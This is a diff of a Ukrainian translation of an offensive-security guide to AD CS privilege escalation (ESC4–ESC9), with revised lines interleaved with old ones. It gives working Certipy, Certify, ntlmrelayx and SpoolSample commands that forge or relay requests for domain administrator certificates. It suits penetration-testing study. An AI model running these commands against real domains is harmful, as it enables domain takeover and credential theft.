змінювати будь-які атрибути. -- **WriteOwner:** Дозволяє змінювати власника об'єкта на принципала під контролем зловмисника. -- **WriteDacl:** Дозволяє коригувати контроль доступу, потенційно надаючи зловмиснику FullControl. -- **WriteProperty:** Дозволяє редагувати будь-які властивості об'єкта. +- **Owner:** Надає неявний контроль над об’єктом, дозволяючи змінювати будь-які атрибути. +- **FullControl:** Дозволяє повну владу над об’єктом, включно з можливістю змінювати будь-які атрибути. +- **WriteOwner:** Дозволяє змінити власника об’єкта на принципала під контролем атакуючого. +- **WriteDacl:** Дозволяє коригувати контролі доступу, потенційно надаючи атакуючому FullControl. +- **WriteProperty:** Авторизує редагування будь-яких властивостей об’єкта. ### Зловживання -Приклад ескалації привілеїв, подібний до попереднього: +Щоб ідентифікувати принципалів з правами редагування шаблонів та інших PKI-об’єктів, перелікуйте їх за допомогою Certify: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` +Приклад privesc, подібного до попереднього:
-ESC4 - це коли користувач має права на запис над шаблоном сертифіката. Це може, наприклад, бути зловжито для переписування конфігурації шаблона сертифіката, щоб зробити шаблон вразливим до ESC1. +ESC4 має місце, коли користувач має права запису над шаблоном сертифіката. Це, наприклад, може бути використано для перезапису конфігурації шаблону сертифіката з метою зробити шаблон вразливим до ESC1. -Як ми бачимо в наведеному вище шляху, лише `JOHNPC` має ці привілеї, але наш користувач `JOHN` має новий `AddKeyCredentialLink` до `JOHNPC`. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, яка відома як [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ось невеликий попередній перегляд команди `shadow auto` Certipy для отримання NT хешу жертви. +Як видно з шляху вище, лише `JOHNPC` має ці привілеї, але наш користувач `JOHN` має новий зв'язок `AddKeyCredentialLink` з `JOHNPC`. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, яка відома як [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Нижче — невеликий приклад використання команди Certipy `shadow auto` для отримання NT hash жертви. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** може перезаписати конфігурацію шаблону сертифіката одним командою. За **замовчуванням** Certipy **перезаписує** конфігурацію, щоб зробити її **вразливою до ESC1**. Ми також можемо вказати **`-save-old` параметр для збереження старої конфігурації**, що буде корисно для **відновлення** конфігурації після нашої атаки. +**Certipy** може перезаписати конфігурацію шаблону сертифіката однією командою. За **замовчуванням**, Certipy **перезаписує** конфігурацію, щоб зробити її **вразливою до ESC1**. Ми також можемо вказати **`-save-old` параметр для збереження старої конфігурації**, що буде корисно для **відновлення** конфігурації після нашої атаки. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,37 +177,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Вразливий контроль доступу до об'єктів PKI - ESC5 +## Vulnerable PKI Object Access Control - ESC5 ### Пояснення -Широка мережа взаємопов'язаних відносин на основі ACL, яка включає кілька об'єктів, крім шаблонів сертифікатів і центру сертифікації, може вплинути на безпеку всієї системи AD CS. Ці об'єкти, які можуть суттєво вплинути на безпеку, охоплюють: +Широка мережа взаємопов’язаних стосунків на основі ACL, яка включає кілька об’єктів за межами certificate templates та certificate authority, може вплинути на безпеку всієї системи AD CS. Ці об’єкти, що можуть суттєво вплинути на безпеку, включають: -- Об'єкт комп'ютера AD сервера CA, який може бути скомпрометований через механізми, такі як S4U2Self або S4U2Proxy. -- RPC/DCOM сервер сервера CA. -- Будь-який нащадок об'єкта AD або контейнера в конкретному контейнерному шляху `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Цей шлях включає, але не обмежується, контейнерами та об'єктами, такими як контейнер шаблонів сертифікатів, контейнер центрів сертифікації, об'єкт NTAuthCertificates та контейнер послуг реєстрації. +- Об'єкт комп'ютера AD сервера CA, який може бути скомпрометований через механізми на кшталт S4U2Self або S4U2Proxy. +- RPC/DCOM сервер CA-сервера. +- Будь-який дочірній AD-об'єкт або контейнер у межах конкретного шляху контейнера `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Цей шлях включає, але не обмежується, контейнерами та об'єктами такими як the Certificate Templates container, the Certification Authorities container, the NTAuthCertificates object та the Enrollment Services Container. -Безпека системи PKI може бути скомпрометована, якщо зловмисник з низькими привілеями зможе отримати контроль над будь-яким з цих критичних компонентів. +Безпека PKI-системи може бути підірвана, якщо атакуючий з низькими привілеями отримає контроль над будь-яким із цих критичних компонентів. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Пояснення -Тема, обговорена в [**пості CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапора **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як зазначено Microsoft. Ця конфігурація, коли вона активована на Центрі сертифікації (CA), дозволяє включати **значення, визначені користувачем**, у **додаткову назву суб'єкта** для **будь-якого запиту**, включаючи ті, що створені з Active Directory®. Внаслідок цього, ця можливість дозволяє **зловмиснику** зареєструватися через **будь-який шаблон**, налаштований для **автентифікації** домену — зокрема, ті, що відкриті для реєстрації **непривілейованими** користувачами, такі як стандартний шаблон користувача. Як результат, сертифікат може бути отриманий, що дозволяє зловмиснику автентифікуватися як доменний адміністратор або **будь-яка інша активна сутність** в домені. +Тема, розглянута в [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапора **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як це окреслено Microsoft. Ця конфігурація, коли вона активована на Certification Authority (CA), дозволяє включати **значення, визначені користувачем** у **subject alternative name** для **будь-якого запиту**, включно з тими, що формуються з Active Directory®. Відповідно, це дозволяє **зловмиснику** зареєструватися через **будь-який шаблон**, налаштований для доменної **authentication** — зокрема ті, що відкриті для реєстрації **unprivileged** користувачами, як-от стандартний User template. У результаті може бути отримано сертифікат, який дає змогу зловмиснику автентифікуватися як domain administrator або **будь-яка інша активна сутність** в домені. -**Примітка**: Метод додавання **додаткових назв** у Запит на підпис сертифіката (CSR) через аргумент `-attrib "SAN:"` у `certreq.exe` (який називається “Пари значення імен”) представляє **контраст** з експлуатаційною стратегією SAN у ESC1. Тут відмінність полягає в **тому, як інформація про обліковий запис інкапсульована** — в атрибуті сертифіката, а не в розширенні. +**Примітка**: Підхід для додавання **alternative names** в Certificate Signing Request (CSR) через аргумент `-attrib "SAN:"` в `certreq.exe` (що називають “Name Value Pairs”) відрізняється від стратегії експлуатації SAN у ESC1. Тут різниця полягає в тому, **як інформація про обліковий запис інкапсулюється** — у атрибуті сертифіката, а не в розширенні. ### Зловживання -Щоб перевірити, чи активовано налаштування, організації можуть використовувати наступну команду з `certutil.exe`: +Щоб перевірити, чи налаштування активовано, організації можуть виконати наступну команду за допомогою `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Ця операція в основному використовує **доступ до віддаленого реєстру**, отже, альтернативний підхід може бути: +Ця операція фактично використовує **remote registry access**, отже альтернативний підхід може бути таким: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Інструменти, такі як [**Certify**](https://github.com/GhostPack/Certify) та [**Certipy**](https://github.com/ly4k/Certipy), здатні виявляти цю неправильну конфігурацію та експлуатувати її: +Інструменти на кшталт [**Certify**](https://github.com/GhostPack/Certify) і [**Certipy**](https://github.com/ly4k/Certipy) здатні виявляти цю некоректну конфігурацію та експлуатувати її: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -199,39 +216,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Щоб змінити ці налаштування, припускаючи, що у вас є **права адміністратора домену** або еквівалентні, можна виконати наступну команду з будь-якої робочої станції: +Щоб змінити ці налаштування, за умови, що особа володіє правами **domain administrative** або еквівалентними, наступну команду можна виконати з будь-якої робочої станції: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Щоб вимкнути цю конфігурацію у вашому середовищі, прапорець можна видалити за допомогою: +Щоб вимкнути цю конфігурацію у вашому середовищі, цей flag можна видалити за допомогою: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Після оновлень безпеки травня 2022 року, нові видані **сертифікати** міститимуть **розширення безпеки**, яке включає **властивість `objectSid` запитувача**. Для ESC1 цей SID отримується з вказаного SAN. Однак для **ESC6** SID відображає **`objectSid` запитувача**, а не SAN.\ -> Щоб експлуатувати ESC6, важливо, щоб система була вразливою до ESC10 (Слабкі відображення сертифікатів), яке надає пріоритет **SAN над новим розширенням безпеки**. +> Після оновлень безпеки May 2022 новостворені **сертифікати** міститимуть **розширення безпеки**, яке включає **властивість `objectSid` запитувача**. Для ESC1 цей SID походить від вказаного SAN. Однак для **ESC6** SID віддзеркалює **`objectSid` запитувача**, а не SAN.\ +> Щоб експлуатувати ESC6, система має бути вразливою до ESC10 (Weak Certificate Mappings), який віддає пріоритет **SAN над новим розширенням безпеки**. -## Вразливий контроль доступу до центру сертифікації - ESC7 +## Уразливий контроль доступу сертифікаційного центру (CA) - ESC7 ### Атака 1 #### Пояснення -Контроль доступу для центру сертифікації підтримується через набір дозволів, які регулюють дії CA. Ці дозволи можна переглянути, отримавши доступ до `certsrv.msc`, клацнувши правою кнопкою миші на CA, вибравши властивості, а потім перейшовши на вкладку Безпека. Крім того, дозволи можна перерахувати за допомогою модуля PSPKI з командами, такими як: +Контроль доступу до сертифікаційного центру реалізується через набір дозволів, які регулюють дії CA. Ці дозволи можна переглянути, запустивши `certsrv.msc`, клацнувши правою кнопкою миші по CA, вибравши Properties, а потім перейшовши на вкладку Security. Крім того, дозволи можна перелічити за допомогою модуля PSPKI командами, наприклад: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Це надає уявлення про основні права, а саме **`ManageCA`** та **`ManageCertificates`**, що відповідають ролям "адміністратор CA" та "менеджер сертифікатів" відповідно. +Це дає уявлення про основні права, а саме **`ManageCA`** та **`ManageCertificates`**, що відповідають ролям “адміністратор CA” та “менеджер сертифікатів” відповідно. -#### Зловживання +#### Abuse -Наявність прав **`ManageCA`** на центрі сертифікації дозволяє суб'єкту маніпулювати налаштуваннями віддалено, використовуючи PSPKI. Це включає в себе перемикання прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`** для дозволу специфікації SAN у будь-якому шаблоні, що є критичним аспектом ескалації домену. +Наявність прав **`ManageCA`** на сертифікаційному органі дозволяє суб'єкту змінювати налаштування віддалено за допомогою PSPKI. Це включає переключення прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`** для дозволу вказування SAN у будь-якому шаблоні, що є критичною умовою для ескалації в домені. -Спрощення цього процесу можливе за допомогою використання cmdlet **Enable-PolicyModuleFlag** PSPKI, що дозволяє вносити зміни без прямої взаємодії з GUI. +Спростити цей процес можна за допомогою PSPKI’s **Enable-PolicyModuleFlag** cmdlet, що дозволяє вносити зміни без прямої взаємодії з GUI. -Володіння правами **`ManageCertificates`** полегшує затвердження очікуючих запитів, ефективно обходячи захист "затвердження менеджера сертифікатів CA". +Наявність прав **`ManageCertificates`** полегшує схвалення очікуваних запитів, фактично обходячи захист "CA certificate manager approval". -Комбінація модулів **Certify** та **PSPKI** може бути використана для запиту, затвердження та завантаження сертифіката: +Комбінацію модулів **Certify** та **PSPKI** можна використати для запиту, схвалення та завантаження сертифіката: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -247,33 +264,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Attack 2 +### Атака 2 -#### Explanation +#### Пояснення > [!WARNING] -> У **попередньому нападі** **`Manage CA`** дозволи використовувалися для **включення** прапора **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 атаки**, але це не матиме жодного ефекту, поки служба CA (`CertSvc`) не буде перезапущена. Коли у користувача є право доступу **`Manage CA`**, користувач також має право **перезапустити службу**. Однак це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 може не працювати з коробки** у більшості патчованих середовищ через оновлення безпеки травня 2022 року. +> У **попередній атаці** **`Manage CA`** дозволи були використані, щоб **увімкнути** прапорець **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 атаки**, але це не матиме жодного ефекту, доки служба CA (`CertSvc`) не буде перезапущена. Коли користувач має право доступу `Manage CA`, йому також дозволено **перезапускати службу**. Однак це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 може не працювати out of the box** у більшості запатчених середовищ через оновлення безпеки травня 2022 року. -Тому тут представлено інший напад. +Отже, тут представлено іншу атаку. -Пер prerequisites: +Передумови: - Тільки **`ManageCA` дозвіл** -- **`Manage Certificates`** дозвіл (може бути наданий з **`ManageCA`**) -- Шаблон сертифіката **`SubCA`** повинен бути **включений** (може бути включений з **`ManageCA`**) +- **`Manage Certificates`** дозвіл (може бути надано з **`ManageCA`**) +- Шаблон сертифіката **`SubCA`** має бути **увімкнений** (може бути увімкнений з **`ManageCA`**) -Техніка базується на тому, що користувачі з правами доступу `Manage CA` _та_ `Manage Certificates` можуть **видавати невдалі запити на сертифікати**. Шаблон сертифіката **`SubCA`** є **вразливим до ESC1**, але **тільки адміністратори** можуть зареєструватися в шаблоні. Таким чином, **користувач** може **запросити** реєстрацію в **`SubCA`** - що буде **відхилено** - але **потім видано менеджером пізніше**. +Техніка базується на тому, що користувачі з правом доступу `Manage CA` _та_ `Manage Certificates` можуть **ініціювати невдалі запити на сертифікат**. Шаблон сертифіката **`SubCA`** є **вразливим до ESC1**, але **лише адміністратори** можуть зареєструватися у цьому шаблоні. Отже, **користувач** може **запитати** реєстрацію у **`SubCA`** — яка буде **відхилена** — але **потім буде видана менеджером**. -#### Abuse +#### Зловживання -Ви можете **наділити себе правом доступу `Manage Certificates`**, додавши свого користувача як нового офіцера. +Ви можете **наділити себе правом `Manage Certificates`** додавши свого користувача як нового офіцера. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Шаблон **`SubCA`** може бути **увімкнений на CA** за допомогою параметра `-enable-template`. За замовчуванням шаблон `SubCA` увімкнено. +Шаблон **`SubCA`** можна **увімкнути на CA** за допомогою параметра `-enable-template`. За замовчуванням шаблон `SubCA` увімкнено. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Якщо ми виконали попередні умови для цієї атаки, ми можемо почати з **запиту сертифіката на основі шаблону `SubCA`**. +Якщо ми виконали передумови для цієї атаки, ми можемо почати з **запиту сертифіката на основі шаблону `SubCA`**. -**Цей запит буде відхилено**, але ми збережемо приватний ключ і запишемо ідентифікатор запиту. +**Цей запит буде відмовле**но, але ми збережемо private key і запишемо request ID. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,14 +316,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -З нашими **`Manage CA` та `Manage Certificates`** ми можемо **видавати невдалий запит на сертифікат** за допомогою команди `ca` та параметра `-issue-request `. +З нашими **`Manage CA` and `Manage Certificates`**, ми можемо потім **випустити сертифікат для невдалого запиту** за допомогою команди `ca` та параметра `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -І нарешті, ми можемо **отримати виданий сертифікат** за допомогою команди `req` та параметра `-retrieve `. +І нарешті, ми можемо **отримати виданий сертифікат** за допомогою команди `req` і параметра `-retrieve `. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,83 +335,81 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Attack 3 – Manage Certificates Extension Abuse (SetExtension) +### Атака 3 – Зловживання розширеннями Manage Certificates (SetExtension) -#### Explanation +#### Пояснення -На додаток до класичних зловживань ESC7 (включення атрибутів EDITF або схвалення очікуючих запитів), **Certify 2.0** виявив новий примітив, який вимагає лише роль *Manage Certificates* (також відома як **Certificate Manager / Officer**) на Enterprise CA. +На додаток до класичних зловживань ESC7 (включаючи увімкнення EDITF атрибутів або затвердження очікуючих запитів), **Certify 2.0** відкрив новий примітив, який потребує лише роль *Manage Certificates* (теж відома як **Certificate Manager / Officer**) на Enterprise CA. -Метод `ICertAdmin::SetExtension` RPC може бути виконаний будь-яким суб'єктом, що має *Manage Certificates*. Хоча метод традиційно використовувався легітимними CA для оновлення розширень на **очікуючих** запитах, зловмисник може зловживати ним, щоб **додати *не за замовчуванням* розширення сертифіката** (наприклад, власний OID *Certificate Issuance Policy*, такий як `1.1.1.1`) до запиту, що чекає на схвалення. +RPC-метод `ICertAdmin::SetExtension` може бути виконаний будь-яким суб'єктом, що має *Manage Certificates*. Хоча метод традиційно використовувався легітимними CA для оновлення розширень у **pending** запитах, нападник може зловживати ним, щоб **додати *нестандартне* розширення сертифіката** (наприклад користувацький OID *Certificate Issuance Policy* типу `1.1.1.1`) до запиту, який чекає на затвердження. -Оскільки цільовий шаблон **не визначає значення за замовчуванням для цього розширення**, CA НЕ перезапише значення, контрольоване зловмисником, коли запит буде врешті-решт видано. Отже, отриманий сертифікат міститиме розширення, обране зловмисником, яке може: +Оскільки цільовий template **не визначає значення за замовчуванням для цього розширення**, CA НЕ перезапише контрольоване атакуючим значення, коли запит буде виданий. В результаті сертифікат містить розширення, обране атакуючим, яке може: -* Відповідати вимогам політики застосування / видачі інших вразливих шаблонів (призводячи до ескалації привілеїв). -* Впроваджувати додаткові EKU або політики, які надають сертифікату несподівану довіру в сторонніх системах. +* Відповідати вимогам Application / Issuance Policy інших вразливих templates (що призводить до ескалації привілеїв). +* Інжектувати додаткові EKU або політики, що надають сертифікату несподівану довіру в сторонніх системах. -Коротше кажучи, *Manage Certificates* – раніше вважався "менш потужною" частиною ESC7 – тепер може бути використаний для повної ескалації привілеїв або тривалої стійкості, не торкаючись конфігурації CA або не вимагаючи більш обмежувального права *Manage CA*. +Коротко, *Manage Certificates* — раніше вважалася «менш потужною» частиною ESC7 — тепер може бути використана для повної ескалації привілеїв або довготривалого персисту, без зміни конфігурації CA або потреби у більш обмежливому праві *Manage CA*. -#### Abusing the primitive with Certify 2.0 +#### Зловживання примітивом за допомогою Certify 2.0 -1. **Подайте запит на сертифікат, який залишиться *очікуючим*.** Це можна примусити за допомогою шаблону, який вимагає схвалення менеджера: +1. **Надішліть certificate request, який залишиться *pending*.** Це можна забезпечити template, що вимагає затвердження менеджером: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Зверніть увагу на повернений Request ID +# Take note of the returned Request ID ``` -2. **Додайте власне розширення до очікуючого запиту** за допомогою нової команди `manage-ca`: +2. **Додайте користувацьке розширення до pending запиту** з використанням нової команди `manage-ca`: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # фейковий OID політики видачі +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Якщо шаблон вже не визначає розширення *Certificate Issuance Policies*, вище наведене значення буде збережено після видачі.* +*Якщо template ще не визначає розширення *Certificate Issuance Policies*, наведене вище значення буде збережено після видачі.* -3. **Видати запит** (якщо ваша роль також має права схвалення *Manage Certificates*) або почекати, поки оператор його схвалить. Після видачі завантажте сертифікат: +3. **Видайте запит** (якщо ваша роль також має права схвалення *Manage Certificates*) або дочекайтеся, поки оператор його затвердить. Після видачі завантажте сертифікат: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Отриманий сертифікат тепер містить зловмисний OID політики видачі і може бути використаний у подальших атаках (наприклад, ESC13, ескалація домену тощо). +4. Отриманий сертифікат тепер містить зловмисний OID issuance-policy і може бути використаний у подальших атаках (наприклад ESC13, ескалація домену тощо). -> NOTE: Така ж атака може бути виконана з Certipy ≥ 4.7 через команду `ca` та параметр `-set-extension`. +> NOTE: Ту ж атаку можна виконати за допомогою Certipy ≥ 4.7 через команду `ca` та параметр `-set-extension`. -## NTLM Relay to AD CS HTTP Endpoints – ESC8 +## NTLM relay до HTTP кінцевих точок AD CS – ESC8 -### Explanation +### Пояснення > [!TIP] -> У середовищах, де **встановлено AD CS**, якщо існує **вразливий веб-інтерфейс для реєстрації** і принаймні один **шаблон сертифіката опубліковано**, який дозволяє **реєстрацію комп'ютерів домену та автентифікацію клієнтів** (такий як за замовчуванням **`Machine`** шаблон), стає можливим, щоб **будь-який комп'ютер з активною службою спулера був скомпрометований зловмисником**! +> В середовищах, де **AD CS встановлено**, якщо існує вразлива **web enrollment endpoint** і принаймні один **certificate template опублікований**, який дозволяє **domain computer enrollment та client authentication** (наприклад дефолтний **`Machine`** template), стає можливим, що **будь-який комп’ютер із активною spooler service може бути скомпрометований атакуючим**! -Кілька **методів реєстрації на основі HTTP** підтримуються AD CS, які доступні через додаткові серверні ролі, які можуть бути встановлені адміністраторами. Ці інтерфейси для реєстрації сертифікатів на основі HTTP вразливі до **атак NTLM relay**. Зловмисник з **скомпрометованої машини може видавати себе за будь-який обліковий запис AD, який автентифікується через вхідний NTLM**. В той час як зловмисник видає себе за обліковий запис жертви, ці веб-інтерфейси можуть бути доступні зловмисником для **запиту сертифіката автентифікації клієнта, використовуючи шаблони сертифікатів `User` або `Machine`**. +AD CS підтримує кілька **HTTP-based enrollment methods**, доступних через додаткові серверні ролі, які адміністратори можуть інсталювати. Ці інтерфейси для HTTP-реєстрації сертифікатів вразливі до **NTLM relay attacks**. Нападник з **компрометованої машини** може сімітувати будь-який AD акаунт, який автентифікується через вхідний NTLM. Імітуючи жертву, нападник може звертатися до цих веб-інтерфейсів, щоб **запитати клієнтський certificate для client authentication, використовуючи `User` або `Machine` templates**. -- **Веб-інтерфейс реєстрації** (старий ASP-додаток, доступний за адресою `http:///certsrv/`), за замовчуванням використовує лише HTTP, що не забезпечує захисту від атак NTLM relay. Крім того, він явно дозволяє лише автентифікацію NTLM через свій заголовок Authorization HTTP, що робить більш безпечні методи автентифікації, такі як Kerberos, непридатними. -- **Служба реєстрації сертифікатів** (CES), **Служба політики реєстрації сертифікатів** (CEP) та **Служба реєстрації мережевих пристроїв** (NDES) за замовчуванням підтримують автентифікацію negotiate через свій заголовок Authorization HTTP. Автентифікація negotiate **підтримує як** Kerberos, так і **NTLM**, що дозволяє зловмиснику **знизити рівень до NTLM** автентифікації під час атак relay. Хоча ці веб-сервіси за замовчуванням активують HTTPS, сам по собі HTTPS **не захищає від атак NTLM relay**. Захист від атак NTLM relay для HTTPS-сервісів можливий лише тоді, коли HTTPS поєднується з прив'язкою каналу. На жаль, AD CS не активує Розширений захист для автентифікації на IIS, що є необхідним для прив'язки каналу. +- **Web enrollment interface** (старіший ASP-додаток, доступний за `http:///certsrv/`) за замовчуванням працює лише через HTTP, що не захищає від NTLM relay attacks. Додатково, він явно дозволяє лише NTLM аутентифікацію через Authorization HTTP header, роблячи більш безпечні методи автентифікації, як Kerberos, непридатними. +- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service та **Network Device Enrollment Service** (NDES) за замовчуванням підтримують negotiate аутентифікацію через Authorization HTTP header. Negotiate аутентифікація **підтримує і** Kerberos, і **NTLM**, що дозволяє нападнику **понизити** автентифікацію до NTLM під час relay-атак. Хоча ці веб-сервіси за замовчуванням дозволяють HTTPS, сам по собі HTTPS **не захищає від NTLM relay attacks**. Захист від NTLM relay для HTTPS сервісів можливий лише коли HTTPS комбінується з channel binding. На жаль, AD CS не включає Extended Protection for Authentication на IIS, що потрібно для channel binding. -Звичайною **проблемою** атак NTLM relay є **коротка тривалість сесій NTLM** та неможливість зловмисника взаємодіяти з сервісами, які **вимагають підписування NTLM**. - -Проте, це обмеження подолано шляхом використання атаки NTLM relay для отримання сертифіката для користувача, оскільки термін дії сертифіката визначає тривалість сесії, а сертифікат може бути використаний з сервісами, які **вимагають підписування NTLM**. Для інструкцій щодо використання вкраденого сертифіката, зверніться до: +Поширеною **проблемою** NTLM relay атак є **коротка тривалість NTLM сесій** та неможливість нападника взаємодіяти з сервісами, які **вимагають NTLM signing**. +Однак це обмеження долається використанням NTLM relay для отримання сертифіката для користувача, оскільки строк дії сертифіката визначає тривалість сесії, і сертифікат можна використовувати з сервісами, які **вимагають NTLM signing**. Інструкції щодо використання вкраденого сертифіката див. у: {{#ref}} account-persistence.md {{#endref}} -Ще одне обмеження атак NTLM relay полягає в тому, що **машина, контрольована зловмисником, повинна бути автентифікована обліковим записом жертви**. Зловмисник може або почекати, або спробувати **примусити** цю автентифікацію: - +Інше обмеження NTLM relay атак — це те, що **машина, контрольована нападником, має бути автентифікована акаунтом жертви**. Нападник може або чекати, або намагатися **спричинити** таку автентифікацію: {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} -### **Abuse** +### **Зловживання** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` перераховує **увімкнені HTTP кінцеві точки AD CS**: ``` Certify.exe cas ```
-Властивість `msPKI-Enrollment-Servers` використовується корпоративними центрами сертифікації (CAs) для зберігання кінцевих точок служби реєстрації сертифікатів (CES). Ці кінцеві точки можна розібрати та перерахувати, використовуючи інструмент **Certutil.exe**: +Властивість `msPKI-Enrollment-Servers` використовується корпоративними Certificate Authorities (CAs) для збереження кінцевих точок Certificate Enrollment Service (CES). Ці кінцеві точки можна розпарсити та перелічити, використовуючи інструмент **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -405,7 +420,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Зловживання з Certify +#### Зловживання за допомогою Certify ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -420,11 +435,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### Зловживання з [Certipy](https://github.com/ly4k/Certipy) +#### Зловживання за допомогою [Certipy](https://github.com/ly4k/Certipy) -Запит на сертифікат за замовчуванням здійснюється Certipy на основі шаблону `Machine` або `User`, залежно від того, чи закінчується ім'я облікового запису, що передається, на `$`. Вказати альтернативний шаблон можна за допомогою параметра `-template`. +Запит сертифіката за замовчуванням виконується Certipy на основі шаблону `Machine` або `User`, що визначається тим, чи закінчується ім'я облікового запису, яке ретранслюється, символом `$`. Вказати альтернативний шаблон можна за допомогою параметра `-template`. -Техніку, таку як [PetitPotam](https://github.com/ly4k/PetitPotam), можна використовувати для примусу аутентифікації. При роботі з контролерами домену необхідно вказати `-template DomainController`. +Можна використати техніку, таку як [PetitPotam](https://github.com/ly4k/PetitPotam), щоб примусити автентифікацію. При роботі з контролерами домену потрібно вказати `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -437,99 +452,99 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Немає розширення безпеки - ESC9 ### Пояснення -Новий значення **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) для **`msPKI-Enrollment-Flag`**, відомий як ESC9, запобігає вбудовуванню **нового `szOID_NTDS_CA_SECURITY_EXT` безпекового розширення** в сертифікат. Цей прапор стає актуальним, коли `StrongCertificateBindingEnforcement` встановлено на `1` (значення за замовчуванням), що контрастує з налаштуванням `2`. Його значущість зростає в сценаріях, де може бути використано слабше відображення сертифікатів для Kerberos або Schannel (як у ESC10), оскільки відсутність ESC9 не змінює вимоги. +Нове значення **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) для **`msPKI-Enrollment-Flag`**, відоме як ESC9, забороняє вбудовування **нового розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`** у сертифікат. Цей прапорець набуває значення, коли `StrongCertificateBindingEnforcement` встановлено в `1` (налаштування за замовчуванням), на відміну від значення `2`. Його важливість зростає в сценаріях, де може бути використане слабше відображення сертифіката для Kerberos або Schannel (як у 